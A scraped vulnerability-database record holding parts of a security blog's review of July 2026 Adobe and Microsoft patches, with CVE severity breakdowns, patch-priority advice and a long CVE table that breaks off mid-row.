usual, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there\u2019s not much to add without further technical details about the bugs themselves. What\u2019s really frustrating is that 94 have no explicit privilege statement at all. Microsoft just says \u201celevate privileges\u201d with no detail. By my count, that leaves around 25 bugs to consider. Some don\u2019t elevate at all. The FAQ literally says the attacker just gets \u201cthe rights of the user running the affected application.\u201d That covers Win32k, Clip Service, Search Service, MSMQ, and SharePoint. A few get a Low-to-Medium integrity bump. There are also a couple that lead to downgraded service accounts or arbitrary file deletion, but nothing else I\u2019ve seen really stands out too much.\nThere are 20 Security Feature Bypass (SFB) bugs this month, and it's a genuinely mixed bag. CVE-2026-55040 leads at Critical, CVSS 9.1 as it\u2019s weak authentication in SharePoint Server. Patch it in the same pass as the SharePoint RCE pair since it's the same product. The AI-coding-tool trend continues: GitHub Copilot and Visual Studio Code and Visual Studio all land SFB bugs, mostly injection or path-traversal flavored. BitLocker is this month's lone publicly disclosed bug. It\u2019s not exploited yet, but public disclosure is a countdown clock, not a free pass. It requires physical access, as does the bug in Microsoft XML. The firmware/boot cluster is worth a second look: Secure Boot, Boot Loader, and Key Guard all touch the trust chain below the OS. Meaning, despite a low CVSS score, \u201cif this fails, nothing above it can be trusted\u201d stakes. Rounding out the SFB patches, there are two .NET SFBs, two Windows Kernel SFBs, and a DNS/Cryptographic Services bringing up the rear.\nThe July release includes 31Spoofing bugs this month, and we\u2019ve already covered the most important (Exchange). SharePoint Server accounts for another ten with almost all the same root cause: stored XSS letting an authenticated attacker spoof content in the browser. Microsoft Edge (Chromium-based) contributes fifteen more spanning access-control failures, SSRF, type confusion, and UI misrepresentation. All genuinely Microsoft's to patch, not re-listed Chromium noise. The remaining six round out the usual suspects: a Windows NAT spoofing bug reachable from an adjacent network, a Bing app flaw on iOS, a PowerBI Report Server XSS issue, a .NET output-encoding bug, and an AD FS spoofing flaw. None publicly disclosed, none exploited, but with SharePoint's history this year, don't let \"just Spoofing\" lull you into deprioritizing the patch cycle.\nOf 111 Information Disclosure bugs, the overwhelming majority of these simply result in info leaks consisting of unspecified memory contents or memory addresses. GitHub Copilot is the standout. Here, the bug insufficiently protected credentials, meaning actual secrets leak, not memory scraps. The Windows Admin Center flaw discloses data via improper authentication. A management console leaking to an unauthorized party is a bigger deal than it sounds. SharePoint uses SSRF to pull data server-side, and the Event Logging Service is a protection-mechanism failure, not a memory bug at all. Edge picks up three genuinely file-system-flavored disclosures \u2014 improper authorization, files/directories accessible to external parties, and link-following \u2014 plus Edge for Android exposing \u201cprivate personal information\u201d twice and two path-traversal bugs. The remaining 40+ are mostly one-line \u201cexposure of sensitive information to an unauthorized actor\u201d entries scattered across File Explorer, Push Notifications, Cryptographic Services, and Win32k.\nOnly 8 Tampering bugs this month, the smallest bucket, but a couple stand out. The top of the list is a WSUS bug, caused by an uncaught exception that lets an unauthenticated attacker tamper with the update service over the network. That\u2019s your patch-management infrastructure itself being the target, which always deserves extra attention. Windows CNG (the crypto API) picks up a missing-cryptographic-step flaw, and Windows DNS Client shows up three separate times across the list, twice for improper access control and once for missing authentication on a critical function. DNS resolution having this many tampering paths in one release is worth flagging as a pattern rather than three unrelated bugs. The one genuinely different entry is Outlook Copilot, described simply as vulnerable to \u201cmalicious uses\u201d enabling tampering over the network. That\u2019s a fantastically vague phrasing for an AI-assistant feature, continuing this year's running theme of Copilot-branded features showing up somewhere in every release. Finally, a .NET link-following bug and a WSL2 kernel race condition receive patches. Both require local/authorized access to trigger.\nStill with me? Good, because we have 35 DoS bugs to cover, and this is really an identity-infrastructure story more than a grab-bag. Active Directory Federation Services alone accounts for seven of them, all sitting at CVSS 7.5, all stack-based buffer overflows or infinite loops that let an unauthenticated attacker knock the service over the network.  The .NET ecosystem is the other big cluster: .NET, .NET Framework, and ASP.NET Core/OData contribute nine bugs combined, almost all \u201callocation of resources without limits or throttling\u201d.  HTTP.sys and HTTP/2 pick up the same flavor. LSASS shows up twice, which is always worth a second look given what that process actually holds. Rounding out the list are patches for Windows DHCP Server, SMB Server, Secure Channel, Hyper-V, and IKE Protocol each take a single hit, mostly requiring authorized or adjacent-network access rather than being wide open to the internet.\nNo new advisories are being released this month.\nLooking Ahead\nThe next Patch Tuesday will be on August 11, just after Hacker Summer Camp in sunny Las Vegas. Should I survive the heat, I\u2019ll be back then to give you my full thoughts on the release \u2013 no matter how large it may be. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!", "creation_timestamp": "2026-07-14T22:04:26.067338Z"}, {"uuid": "8b3361b7-6496-411c-a6dd-3719b4e20913", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54997", "type": "seen", "source": "https://www.thezdi.com/blog/2026/7/14/the-july-2026-security-update-review", "content": "Well folks. Here we are. The bug apocalypse has fully descended upon us. I\u2019ll do my best to sort this out in some way meaningful, but this month\u2019s release shows us the nay-sayers were right, and I\u2019ve got to hand it to the nay-sayers here. Excellent call. Take an extended break from your regularly scheduled activities as we let\u2019s take a look at the latest security patches from Adobe and Microsoft. If you\u2019d rather watch the full video recap covering the entire release, you can check out the Patch Report webcast on our YouTube channel. It should be posted within a couple of hours after the release.\nAdobe Patches for July 2026\nAdobe has now moved to a bimonthly release schedule, which means they will be releasing patches on the second and fourth Tuesdays of the month. I\u2019ll continue to cover the second Tuesday release here and update this blog should the fourth Tuesday release contain anything significant. I think this is a smart way to break up a monster release into something a bit more manageable. Apple has said they are taking a similar approach. We\u2019ll see if other vendors follow their lead.\nFor the first part of the July release, Adobe released 12 bulletins addressing 88 unique CVEs in Adobe ColdFusion, Commerce, After Effects, Animate, Audition, Bridge, Creative Cloud Desktop Application, Experience Manager, Illustrator, Media Encoder, Premiere Pro, and the Content Credentials SDK.\nHere\u2019s this month\u2019s overview table:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n  \n\n\n  \n    \n\n\n\n\n\n  \n  \n  \n  \n  \n  \n  \n\n\n  \n    Bulletin ID\n    Product\n    CVE Count\n    Highest Severity\n    Highest CVSS\n    Exploited\n    Deployment Priority\n  \n\n\n  \n    APSB26-82\n    Adobe ColdFusion\n    13\n    Critical\n    9.9\n    No\n    1\n  \n  \n    APSB26-73\n    Adobe Commerce\n    13\n    Critical\n    9.6\n    No\n    2\n  \n  \n    APSB26-78\n    Adobe After Effects\n    3\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-83\n    Adobe Animate\n    6\n    Critical\n    8.6\n    No\n    3\n  \n  \n    APSB26-71\n    Adobe Audition\n    6\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-81\n    Adobe Bridge\n    6\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-77\n    Adobe Creative Cloud Desktop Application\n    2\n    Critical\n    8.1\n    No\n    3\n  \n  \n    APSB26-74\n    Adobe Experience Manager\n    13\n    Critical\n    9.6\n    No\n    3\n  \n  \n    APSB26-79\n    Adobe Illustrator\n    5\n    Critical\n    9.3\n    No\n    3\n  \n  \n    APSB26-72\n    Adobe Media Encoder\n    5\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-76\n    Adobe Premiere Pro\n    4\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-80\n    Content Credentials SDK\n    12\n    Critical\n    8.2\n    No\n    3\n  \n\n\n  \n    TOTAL\n    12 bulletins\n    88\n    \n    \n    \n    \n  \n\n\n\n\n\n  \n  \n\n\n\n\n\n\n  \nWhile nothing is under active exploit, I would prioritize the Cold Fusion and Commerce patches first. The patch for Cold Fusion even clocks in with a CVSS 9.9 bug. Beyond that, most of these updates are pretty straightforward. If you\u2019re using these products, patch them. However, you can use you regular patch cadence here. \nMicrosoft Patches for July 2026\nHere it is. The Mother of All Releases. To call this record-breaking is an understatement. How to count this mess is anyone\u2019s guess, but I see new Microsoft 621 CVEs for the month of July. Some of these are in online services where no user action is required. They also list about 480 bugs in Chromium and Microsoft Edge (Chromium-based) that I won\u2019t cover here. Here\u2019s how I put this in context. I looked at the last 20 years of Microsoft releases. The CVE count year-to-date exceeds all other years\u2019 totals.\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n\n    \n  \n    \n\n      \n\n      \n        \n\n          \n        \n        \n\n        \n          \n            \n              \n              \n          \n            \n                \n                \n                \n                \n                \n                \n                \n                \n\n            \n          \n        \n            \n          \n        \n\n        \n      \n        \n      \n\n    \n  \n\n\n  \n\n\n\n\n\n  \nThe products covered this month are also astonishing. There are patches for Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, Github Copilot, Defender, Exchange Server, Hyper-V, Ages of Empire II, and Minecraft Server (really!). That phrase \u201cWindows components\u201d does some pretty heavy lifting here, too, as just about everything you\u2019ve ever heard of is getting patched. All told, there are 63 rated Critical, six rated Moderate, one rated Low, with the rest rated Important in severity. Eight of these bugs were submitted through the ZDI program (more on that later). Two CVEs are listed as under active exploit while one other is listed as publicly known.\nSo how do we eat this elephant? One byte at a time (pun intended). Let\u2019s start by looking a closer look at some of the more interesting updates for this month, starting with the bugs being exploited in the wild.\n-    CVE-2026-56155 - Active Directory Federation Services Elevation of Privilege VulnerabilityThis is one of several AD FS being patched this month, but it\u2019s the only one being actively exploited. It stems from insufficient access-control granularity and does require local access and low privileges to start, but AD FS is exactly the kind of identity infrastructure attackers love to pivot through once they're in. It can also be paired with an RCE as we often see in ransomware. Test and deploy this patch quickly.\n-    CVE-2026-56164 - Microsoft SharePoint Server Elevation of Privilege VulnerabilityThe other bug being exploited in the wild this month is a modest CVSS 5.3 \u2013 but it shows why Moderate severity bugs still matter. It's a missing-authentication flaw, meaning an unauthenticated attacker can hit it over the network with no user interaction required. When something this reachable is being actively abused, patch it now and worry about the score later.\n-    CVE-2026-57092 - Microsoft Windows VMSwitch Elevation of Privilege VulnerabilityThis patch rates the highest CVSS score for the month: a solid 9.9. It\u2019s a use-after-free that lets a low-privileged attacker escalate to full host compromise across a VM boundary. We saw something like this demonstrated at Pwn2Own Berlin on ESXi, but it clearly isn\u2019t alone. If you\u2019re using VMSwitch in your Hyper-V deployments (and you likely are), test and deploy this one quickly.\n-    CVE-2026-50522/58644 - Microsoft SharePoint Remote Code Execution VulnerabilityThis matching pair of CVSS 9.8 bugs results from the deserialization-of-untrusted-data and are reachable without authentication or user interaction. CVE-2026-50522 was demonstrated during Pwn2Own Berlin, so it\u2019s odd to see Microsoft list it as \u201cExploit Maturity Unknown\u201d since we literally handed them a working exploit. Just another reason to do your own risk assessment and not rely 100% on the vendor. If you have any Internet accessible SharePoint servers, test and deploy this patch quickly. \n-    CVE-2026-56190 - Remote Desktop Protocol Remote Code Execution Vulnerability This patch covers an unauthenticated, network-reachable, no user interaction required bug. The root cause is a classic one: use of uninitialized resource (CWE-908), meaning specially crafted RDP traffic can interact with memory that was never properly initialized, letting an attacker corrupt memory and potentially steer code execution. RDP Servers are a common target, so audit your systems to see which are internet accessible and start from there. \n-    CVE-2026-55008 - Microsoft Exchange Server Spoofing VulnerabilityIgnore the title here and treat this like the XSS bug it is. The vulnerability is listed as a CVSS 9.6 since it\u2019s a stored cross-site scripting flaw in Outlook Web Access, with a scope-changed impact that lets it break out of the web app context entirely. An attacker sends a specially crafted email, and if the victim simply opens it in OWA, arbitrary JavaScript executes in their browser session \u2014 no attachment needed, no macro warning, just viewing the message does it. If you\u2019re using OWA, test and deploy this one quickly.\n-    CVE-2026-50518 - Windows DHCP Server Remote Code Execution VulnerabilityThere are a couple of these DHCP RCE patches in this release, but the other has caveats while this one does not. Both are heap-based buffer overflows scoring CVSS 9.8, both unauthenticated and network-reachable. If you're running DHCP Server role on anything Internet-adjacent (you're not, right?), these move to the top of the list.\n-    CVE-2026-56188 - Windows Server Network driver Remote Code Execution VulnerabilityAnother Critical-rated bug, this one is caused by a race condition. It\u2019s always fun to see a TOCTOU bug rated this high, since race conditions are notoriously finicky to exploit reliably. While it may prove tricky to exploit, this bug could allow an attacker to execute privileged code over the network without user interaction. Don\u2019t let the race condition lull you to sleep on a wormable bug.\n-    CVE-2026-55010 - Minecraft Bedrock Dedicated Server Remote Code Execution VulnerabilityFile this in the \u201cwhy not\u201d category. This bug is a heap-based buffer overflow in Minecraft Bedrock Dedicated Server, also CVSS 9.8 and also unauthenticated RCE. Yes, your kid\u2019s Minecraft server (it is your kid\u2019s server, right?) is exposed to the same class of bug as your DHCP infrastructure. Patch it anyway.\nHere\u2019s the full list of CVEs released by Microsoft for July 2026:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n  \n\n\n  \n    \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n \n \n \n \n  CVE\n  Title\n  Severity\n  CVSS\n  Public\n  Exploited\n  Type\n \n \n  CVE-2026-56155\n  Active Directory\n  Federation Services Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  Yes\n  EoP\n \n \n  CVE-2026-56164\n  Microsoft SharePoint\n  Server Elevation of Privilege Vulnerability\n  Moderate\n  5.3\n  No\n  Yes\n  EoP\n \n \n  CVE-2026-50661\n  Windows BitLocker\n  Security Feature Bypass Vulnerability\n  Important\n  6.1\n  Yes\n  No\n  SFB\n \n \n  CVE-2026-54121\n  Active Directory\n  Certificate Services Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-45499 **\n  Azure OpenAI Elevation\n  of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-48564\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50370\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56159\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50382\n  DirectX Graphics\n  Kernel Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-41106 **\n  Microsoft 365 Copilot\n  Elevation of Privilege Vulnerability\n  Critical\n  9.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-26145 **\n  Microsoft Azure\n  Synapse Elevation of Privilege Vulnerability\n  Critical\n  4.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-48561\n  Microsoft Copilot\n  Remote Code Execution Vulnerability\n  Critical\n  9.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-55011\n  Microsoft Defender\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55012\n  Microsoft Defender\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55944\n  Microsoft Dynamics NAV\n  and Microsoft Dynamics 365 Business Central (On Premises) Remote Code\n  Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57100 **\n  Microsoft Entra\n  Provisioning Service Elevation of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-55041\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54998 **\n  Microsoft Exchange\n  Online Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55008\n  Microsoft Exchange\n  Server Spoofing Vulnerability\n  Critical\n  9.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-54992\n  Microsoft Message\n  Queuing Queue Manager Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50314\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50467\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55018\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55022\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55045\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-55049\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55129\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55056\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55140\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55043\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55123\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55120\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50522\n  Microsoft SharePoint\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58644\n  Microsoft SharePoint\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55040\n  Microsoft SharePoint\n  Server Security Feature Bypass Vulnerability\n  Critical\n  9.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-54117\n  Microsoft SQL Server\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54118\n  Microsoft SQL Server\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50655\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56189\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57090\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57094\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57087\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57092\n  Microsoft Windows\n  VMSwitch Elevation of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-55033\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55127\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55132\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55010\n  Minecraft Bedrock\n  Dedicated Server Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50474\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49164\n  Windows Active\n  Directory Domain Services Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-54128\n  Windows DHCP Client\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50518\n  Windows DHCP Server\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49796\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50380\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Critical\n  9.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-54127\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Critical\n  7.4\n  No\n  No\n  EoP\n \n \n  CVE-2026-50680\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Critical\n  8.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50327\n  Windows Media Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58542\n  Windows Media Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58608\n  Windows Print Spooler\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54982\n  Windows Reliable\n  Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54995\n  Windows Reliable\n  Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-42982\n  Windows Secure Kernel\n  Mode Elevation of Privilege Vulnerability\n  Critical\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50392\n  Windows Secure Kernel\n  Mode Elevation of Privilege Vulnerability\n  Critical\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50694\n  Windows Secure Socket\n  Tunneling Protocol (SSTP) Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-56188\n  Windows Server Network\n  driver Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50444\n  Windows Server Update\n  Service (WSUS) Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54999\n  Windows TCP/IP Remote\n  Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47302\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50525\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50651\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57108\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50524\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50527\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50648\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50650\n  .NET Framework\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50646\n  .NET Framework Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50649\n  .NET Remote Code\n  Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47304\n  .NET Security Feature\n  Bypass Vulnerability\n  Important\n  8.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-50528\n  .NET Security Feature\n  Bypass Vulnerability\n  Important\n  8.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-50659\n  .NET Spoofing\n  Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-50526\n  .NET Tampering\n  Vulnerability\n  Important\n  7\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50682\n  Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.1\n  No\n  No\n  DoS\n \n \n  CVE-2026-55001\n  Active Directory\n  Domain Services Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50647\n  Active Directory\n  Federation Server Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50684\n  Active Directory\n  Federation Server Spoofing Vulnerability\n  Important\n  4.8\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56170\n  ASP.NET Core Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-47300\n  ASP.NET Core Elevation\n  of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-47303\n  ASP.NET Core Elevation\n  of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50652\n  Azure Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50653\n  Azure Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57969\n  Azure CycleCloud\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58279\n  Azure CycleCloud\n  Elevation of Privilege Vulnerability\n  Important\n  6.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-47632\n  Azure Monitor Agent\n  Metrics Extension Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50338\n  Azure Spring Apps\n  Elevation of Privilege Vulnerability\n  Important\n  8.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50488\n  Clipboard User Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50491\n  Code Integrity DLL\n  (ci.dll) Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50381\n  Composite Image File\n  System driver (cimfs.sys) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50427\n  Content Delivery\n  Manager Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50692\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58633\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58634\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50296\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50375\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50353\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50493\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56643\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56644\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58629\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49174\n  DNS Client Tampering\n  Vulnerability\n  Important\n  6.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50495\n  DNS Client Tampering\n  Vulnerability\n  Important\n  6.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-57088\n  Extensible Storage\n  Engine (ESENT) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50663\n  Game: Age of Empires\n  II: Definitive Edition Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47282\n  GitHub Copilot and\n  Visual Studio Code Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-41109\n  GitHub Copilot and\n  Visual Studio Code Security Feature Bypass Vulnerability\n  Important\n  8.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-50510\n  GitHub Copilot Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49787\n  HTTP.sys Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50420\n  HTTP.sys Information\n  Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-49788\n  HTTP/2 Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  